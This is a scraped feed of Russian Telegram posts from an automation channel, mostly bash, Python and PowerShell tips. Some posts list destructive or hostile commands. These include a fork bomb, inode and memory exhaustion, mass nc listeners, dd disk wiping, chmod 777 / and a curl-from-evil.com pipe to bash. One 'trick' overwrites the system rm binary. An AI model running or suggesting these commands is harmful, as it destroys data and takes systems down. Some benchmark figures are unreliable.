Helcode | Хелкод | Скрипты и автоматизация
993 subscribers
52 photos
34 links
☎️ Контакты для связи: @helcodeadm
Download Telegram
Как заменить 100 строк bash одной строкой Python?

Типичный пайплайн в bash для обработки логов и отправки алертов:

grep "CRITICAL" /var/log/app.log | awk '{print $1, $3}' | curl -X POST -d @- $WEBHOOK_URL


Тот же функционал на Python (с обработкой ошибок!):

import pandas as pd, requests

# Однострочник с проверками
(pd.read_csv('/var/log/app.log', sep=' ', names=['time', 'level', 'msg'])
.query("level == 'CRITICAL'")[['time', 'msg']]
.to_json(orient='records')
.pipe(lambda x: requests.post(WEBHOOK_URL, data=x, timeout=5))
)


Почему это лучше:
1. Читаемые названия колонок вместо позиций $1, $2
2. Автоматическая обработка JSON
3. Таймаут на запрос
4. Лучшая производительность на больших файлах

Бенчмарк (лог 1GB):
- Bash: 42 сек
- Python: 18 сек

👉 Какие ваши любимые замены bash-пайплайнам? Покажите однострочники!

🌐 @automate_today | #python #bash
Почему ваши скрипты PowerShell выглядят как 2007 год?

Устаревший подход:
Write-Host "Error!" -ForegroundColor Red  # PS 2.0 style
Get-Content log.txt | % { $_ -replace "foo", "bar" } # Медленно



Современный PowerShell 7.4:
# Яркие цвета через ANSI-коды
$PSStyle.Formatting.Warning = "`e[93m"
Write-Output "$($PSStyle.Foreground.BrightRed)Critical!$($PSStyle.Reset)"

# Параллельная обработка (в 5 раз быстрее)
Get-Content log.txt | ForEach-Object -Parallel {
$_ -replace "foo", "bar"
} -ThrottleLimit 8

# Новые операторы
$json = Get-Content config.json | ConvertFrom-Json
$json.Enabled ?? $false # Null-coalescing



Что изменилось:
- Поддержка .NET Core (кроссплатформенность)
- Pipeline parallelization
- Ternary операторы (PS 7.0+)
- Null-conditional (PS 7.1+)

🔥 60% админов застряли на PS 5.1 из-за Server 2016
👉 Кто уже использует PS 7+ в продакшене? Делитесь фичами!


🌐 @automate_today | #powershell
👍1
Задачка на собеседовании: как уронить сервер одним скриптом?

Ожидаемый ответ (fork bomb):
:(){ :|:& };:  # Классика



Неочевидные решения:

1. Дисковая атака:
# Заполнит inodes быстрее, чем free space
for i in {1..100000}; do mkdir /tmp/$i; touch /tmp/$i/{1..100}; done



2. OOM через cgroups:
# Создаем memory-hungry процесс в ограниченной группе
cgcreate -g memory:/memhog
echo 1G > /sys/fs/cgroup/memory/memhog/memory.limit_in_bytes
bash -c 'a=(); while true; do a+=($(seq 1 100000)); done' &
echo $! > /sys/fs/cgroup/memory/memhog/cgroup.procs



3. Сетевой коллапс:
# Для систем с неграмотным ulimit
for i in {1..65535}; do nc -l $i & done



Защита:
# В /etc/security/limits.conf
* hard nproc 500
* hard nofile 2048



👉 Какие нестандартные способы DoS вы знаете?

🌐 @automate_today | #bash
👍2
Как автоматизировать себя из Slack/Telegram?

Полноценный бот на 15 строк Python (Flask + Ansible):

from flask import Flask, request
import subprocess, random

app = Flask(__name__)
MEMES = ["https://i.imgur.com/xxx.jpg", ...]

@app.route('/deploy', methods=['POST'])
def deploy():
if request.form.get('token') != SECRET:
return "Denied", 403

subprocess.run(["ansible-playbook", "deploy.yml", "-l", request.form['env']])
return random.choice(MEMES), 200



Как это работает:
1. Вебхук из Slack → POST /deploy?env=prod
2. Запуск Ansible с нужным inventory
3. Ответ с мемом в чат

Дополнитеьные фичи:
- Валидация по secret token
- Логирование в Prometheus
- Кнопки через Slack Block Kit

Пример Ansible-уведомления:
- name: Notify Slack
uri:
url: "{{ webhook }}"
method: POST
body_format: json
body:
text: "Deployed {{ app }} to {{ env }}"
icon_emoji: ":rocket:"



🔥 Так работают ленивые гении — тратят 1 час на автотацию, чтобы сэкономить 10 часов рутины
👉 Какие чат-команды вы автоматизировали? Покажите реализации, мне будет очень интересно посмотреть!


🌐 @automate_today | #python
1
Как автоматизировать ругань в чате, если CI/CD падает?

Знакомо, когда билд сломан, а разработчики делают вид, что ничего не происходит? Пора научить систему стыдить их автоматически!

Вот простой скрипт для Slack-бота, который парсит логи Jenkins и публично зовёт на помощь виновника:

import requests
import json

# Парсим логи Jenkins (пример)
failed_build = "Build #123 FAILED"
culprit = "developer123"

slack_message = {
"text": f"🔥 @{culprit}, твой билд сломан, и теперь весь отдел знает. Почини, пока не начался хаос!"
}

requests.post("SLACK_WEBHOOK_URL", json=slack_message)


Почему это работает?
1. Публичный стыд — мощный мотиватор.
2. FOMO-эффект: "А вдруг следующий — я?"
3. Экономит время DevOps — не надо вручную писать в чат.

Лайфхак: Добавьте рандомные мотивирующие сообщения типа "Зато в Google так не делают!" для разнообразия.

Пост шуточный, не издевайтесь над коллегами, живите дружно :)

🌐 @automate_today | #python
😁1
rm -rf — не самая опасная команда в Linux. Вот ТОП-5 тихих убийц

Все знают про rm -rf /, но настоящие профессионалы боятся другого.

☠️ Список смертельных команд:
1. chmod -R 777 / — сделает систему уязвимой навсегда
2. dd if=/dev/zero of=/dev/sda — стирает диск без шансов на recovery
3. :(){ :|:& };: — форк-бомба, которая убьёт сервер за секунды
4. mv / /dev/null — перенос корня в никуда
5. curl http://evil.com/script.sh | bash — classic, но всё ещё работает

Как защититься?
- Используйте alias rm='rm -i'
- Настройте sudoers чтобы запретить опасные команды
- Регулярно делайте бэкапы

Самая страшная команда, которую я случайно запускал — это sudo rm -rf /var/log/*, но случайно тыркнул на пробел: sudo rm -rf /var/log / *

🌐 @automate_today
👍3🔥1
Excel — это не API. Но можно сделать вид

Ваш отдел до сих пор шлёт данные в .xlsx? Вот как превратить таблицу в REST API за 5 минут:

from fastapi import FastAPI
import pandas as pd

app = FastAPI()
df = pd.read_excel("ugly_data.xlsx")

@app.get("/data")
def get_data():
return {"data": df.to_dict()}



Что это даёт?
1. Больше не нужно вручную конвертировать файлы
2. Можно подключить фронтенд напрямую
3. Автоматическая документация через /docs

Лайфхак: Добавьте авторизацию, если данные конфиденциальные.

Кто ещё ненавидит Excel, но вынужден с ним работать? Давайте вместе придумаем, как убить эту боль.

🌐 @automate_today | #python
2👍1
Хелкод нужна ваша помощь!

Дорогие коллеги, рад приветствовать всех в нашей группе! Мы преодолели отметку в 100 человек буквально за 2 недели, это невероятно мощный результат, большое, Вам, спасибо!

Мы достигаем результатов быстрее, чем ожидали изначально, но на этом останавливаться не собираемся! На данный момент единственной площадкой, где есть упоминание и ссылка на группу - Хабр, но в наших планах на ближайшее время публиковаться также на Tproger, VC.​ru и Дзен. Мы хотим и дальше развивать сообщество, делая его всё масштабнее для Вас, интереснее для Нас.

Мы запускам канал в Дзене, где будем публиковать полезные материалы. Это необходимо, чтобы больше людей узнали о нас! Но есть нюанс: чтобы статьи начали рекомендовать в ленте - нужно иметь 10 подписчиков. Если у вас есть аккаунт на Дзене - поддержите нас, пожалуйста. Это будет бесценный вклад в начало развития сообщества!

Ссылка на канал: https://dzen.ru/automate_today

Также, хотелось бы пару слов сказать о нынешних обстоятельствах и дальнейшем развитии нашего канала. В настоящее время мы пытаемся отладить нашу работу, "поставить на конвейер", так как очень много времени уходит на написание статей, постов. Это обязательно пройдет, мы вырабатываем структуру, ищем удобные инструменты и тд.

На дальнейшее развитие у нас невероятно много планов по интересному контенту, обучающим материалам и другим, не менее удивительным анонсам. Дальше - лучше! Дальше - интереснее! Спасибо всем Вам за внимание и интерес к нашему скромному проекту!
🍾1
Когда Bash быстрее Python

Вы написали "оптимизированный" парсер на Python, а он проигрывает старому доброму grep?

Задача: Найти все ошибки в логах Nginx.

🐍 Python (0.8 сек):
with open("access.log") as f:
errors = [line for line in f if "ERROR" in line]



🐚 Bash (0.02 сек):
grep "ERROR" access.log



Почему так?
- Bash не тратит время на запуск интерпретатора
- GNU-утилиты (grep, awk) оптимизированы десятилетиями
- Меньше накладных расходов

Когда в последний раз Bash спасал вам жизнь? Делитесь в комментах!

🌐 @automate_today | #bash #python
2
Автоматизируем ненависть к Jira

Устали вручную закрывать задачи после коммитов? Вот скрипт, который сделает это за вас:

import requests

# Jira API + Git hook
issue_key = "PROJ-123"
requests.post(
f"https://jira.example.com/rest/api/2/issue/{issue_key}/transitions",
json={"transition": {"id": "31"}}, # ID статуса "Resolved"
auth=("login", "password")
)



Как внедрить:
1. Добавьте в git hooks
2. Настройте автоматическое определение issue key из ветки
3. Профит!

❗️Важно: Не забудьте про обработку ошибок и логирование.

Кто ещё ненавидит трекеры задач? Какие инструменты вы используете вместо них?

🌐 @automate_today | #python
👏2
🤫 Секретные aliases Senior DevOps

Вот команды, которые есть только у избранных:

# Перезапустить предыдущую команду с sudo
alias fuck='sudo $(history -p !!)'

# Найти и убить процесс по имени
alias killme='pkill -9 -f'

# Показать топ-5 процессов по памяти
alias memekiller='ps aux | sort -nk4 | tail -n 5'



Как добавить?
1. Откройте ~/.bashrc
2. Вставьте aliases
3. Выполните source ~/.bashrc

Мой любимый alias:
alias now='date +"%T"'



Какой ваш любимый alias? Делитесь в комментах — соберём мега-коллекцию! Если тема будет интересна - добавлю в бота отдельную кнопку с выводом полезных alias!


🌐 @automate_today | #bash
🥰1
Уволить сотрудника за 1 клик

Offboarding — это боль. Автоматизируем её:

#!/bin/bash
USERNAME=$1

# Отозвать доступ
sudo usermod -L $USERNAME # Заблокировать логин
sudo rm -rf /home/$USERNAME # Удалить домашнюю директорию

# Уведомить HR
echo "$USERNAME уволен. Доступ отозван." | mail -s "Offboarding" hr@company.com



Важные доработки:

1. Добавьте проверку прав
2. Архивируйте данные вместо удаления
3. Уведомление в корпоративный чат

⚠️ Это демонстрационный пример! Не используйте в проде без доработок.

Кто автоматизировал HR-процессы? Делитесь легальными способами.


🌐 @automate_today | #bash
👎31
ChatGPT пишет документацию вместо вас

Генерируете описание функций вручную? Вот как автоматизировать:

import openai

code = """
def calculate_sum(a, b):
return a + b
"""

response = openai.ChatCompletion.create(
model="gpt-4",
messages=[{"role": "user", "content": f"Напиши docstring для Python-функции: {code}"}]
)

print(response.choices[0].message.content)



Вывод:
"""
Calculates the sum of two numbers.

Args:
a (int): First number.
b (int): Second number.

Returns:
int: The sum of a and b.
"""



Советы:
1. Добавьте ваши стандарты документации в промпт
2. Проверяйте результат перед коммитом
3. Настройте как git hook

Кто уже использует ИИ для документирования? Какие подводные камни заметили?

🌐 @automate_today | #python
Бот для ответов на однотипные вопросы

Надоело 100 раз объяснять, как развернуть стенд? Создайте Telegram-бота:

from telegram import Update
from telegram.ext import Application, CommandHandler

async def faq(update: Update, context):
await update.message.reply_text(
"Вот ответы на частые вопросы:\n"
"1. Как развернуть стенд? /deploy\n"
"2. Где логи? /logs\n"
)

app = Application.builder().token("TOKEN").build()
app.add_handler(CommandHandler("faq", faq))
app.run_polling()



Что можно добавить:
1. Кнопки вместо команд
2. Интеграцию с вашей базой знаний
3. Обратную связь по ответам

Какие вопросы вам надоело повторять? Давайте вместе напишем идеального бота!

🌐 @automate_today | #python
👍3
Скрипт для апокалипсиса

Если завтра отключат интернет, этот bash-однострочник спасёт вас:

#!/bin/bash
# 1. Найти все сервера в сети
nmap -sn 192.168.1.0/24 > network_scan.txt

# 2. Проверить доступность портов
while read ip; do nc -zv $ip 22 80 443; done < network_scan.txt

# 3. Заархивировать важное
tar -czvf backup_$(date +%s).tar.gz ~/Documents /etc



Доработки для параноиков:
1. Шифрование бэкапа
2. Отправка на внешний носитель
3. Проверка целостности

Какой ваш must-have скрипт на случай БП? Делитесь в комментах!

🌐 @automate_today | #bash
👍5
sudo rm -rf /: Почему эту команду до сих пор не удалили?

Даже в 2024 году rm -rf / остаётся легальной командой в Linux — просто теперь она требует --no-preserve-root. Но почему? Потому что иногда админам намеренно нужно "сжечь мосты" (тестовые стенды, инстансы с критичными багами).

Как защитить продакшен:
alias rm='rm -i' — спрашивает подтверждение перед каждым удалением.
chattr +i /critical_dir — делает папку неизменяемой даже для root.

Образовательный метод:
   echo 'Ало, ты серьёзно?! Добавь --no-preserve-root, если осознаёшь последствия.' > /usr/local/bin/rm  
chmod +x /usr/local/bin/rm # Кастомный "rm" с проверкой


Вы сталкивались с "удалением всего"? Как спасали систему?

🌐 @automate_today | #bash
👍3
echo $​VAR — опасная строка в bash-скриптах

Проблема:
- Неквотированные переменные в bash — это "бомба замедленного действия". Пример:
files="*.txt"  
rm $files # Удалит ВСЕ .txt файлы, даже если вы хотели один!



Правила выживания:
- Всегда заключайте переменные в кавычки:

  rm "$files"  # Удалит только файл с именем "*.txt"


- Используйте printf вместо echo — он предсказуемее:

  printf '%s\n' "$VAR"  # Не сломается на спецсимволах



Какие грабли с кавычками/переменными вас подводили?

🌐 @automate_today | #bash
👍3
Автоматизация без техдолга: как писать скрипты, которые проживут 5 лет

Антипаттерны:
- Хардкод путей (/home/user/script.sh).
- Зависимость от версий (python3.6 вместо python3).
- Молчаливые падения (curl без --fail).

Как делать правильно:
1. Конфиги в ~/.config/ — путь стандартизирован для всех Linux-приложений.
2. Параметризация через getopts (bash) или argparse (Python):
   while getopts "c:" opt; do  
case $opt in
c) CONFIG_FILE="$OPTARG" ;;
esac
done


3. Явные проверки:
   [[ -f "$FILE" ]] || { echo "ERROR: $FILE не существует"; exit 1; }


По каким принципам вы проектируете долгоживущие скрипты?

🌐 @automate_today | #bash
2
PowerShell: Почему Write-Host — это грех

Разница:
- Write-Host — выводит текст напрямую в консоль (нельзя перенаправить в файл!).
- Write-Output — попадает в конвейер (pipeline), работает с >, |.

Пример катастрофы:
# Так логи НЕ сохранятся:
Write-Host "Error!" | Out-File log.txt # Пустой файл



Когда использовать Write-Host:
Только для интерактивных скриптов с цветным выводом.

Какие ещё PowerShell-антипаттерны вас раздражают?

🌐 @automate_today | #powershell
👍31
Systemd для Python-скриптов: гайд

Зачем это нужно:
- Автозапуск при загрузке.
- Автоматический перезапуск при падении.
- Централизованное логирование через journalctl.

Шаблон сервиса:
[Unit]  
Description=My Python Bot
After=network.target

[Service]
User=botuser
WorkingDirectory=/opt/bot
ExecStart=/usr/bin/python3 -u bot.py
Restart=always
Environment="API_KEY=secret"

[Install]
WantedBy=multi-user.target



Как включить:
sudo systemctl daemon-reload  
sudo systemctl enable --now mybot



Какие скрипты вы запускаете через systemd?


🌐 @automate_today
2👍2
Оптимизация поиска в логах: grep, awk, или что-то третье?

Бенчмарк (лог 10 ГБ):

| Метод | Время | Память |
|-----------------------------|-----------|------------|
| grep "ERROR" | 12 сек | 1.2 ГБ |
| awk '/ERROR/' | 8 сек | 0.8 ГБ |
| rg "ERROR" (ripgrep) | 3 сек | 0.3 ГБ |


Советы:

- Если нужно только последние ошибки:

  tail -n 10000 huge.log | grep -C 5 "ERROR"  # Контекст 5 строк


- Для сложных фильтров — jq для JSON-логов:

  cat app.log | jq 'select(.level == "ERROR")'  



Какие инструменты вы используете для анализа логов?

🌐 @automate_today | #bash
👍3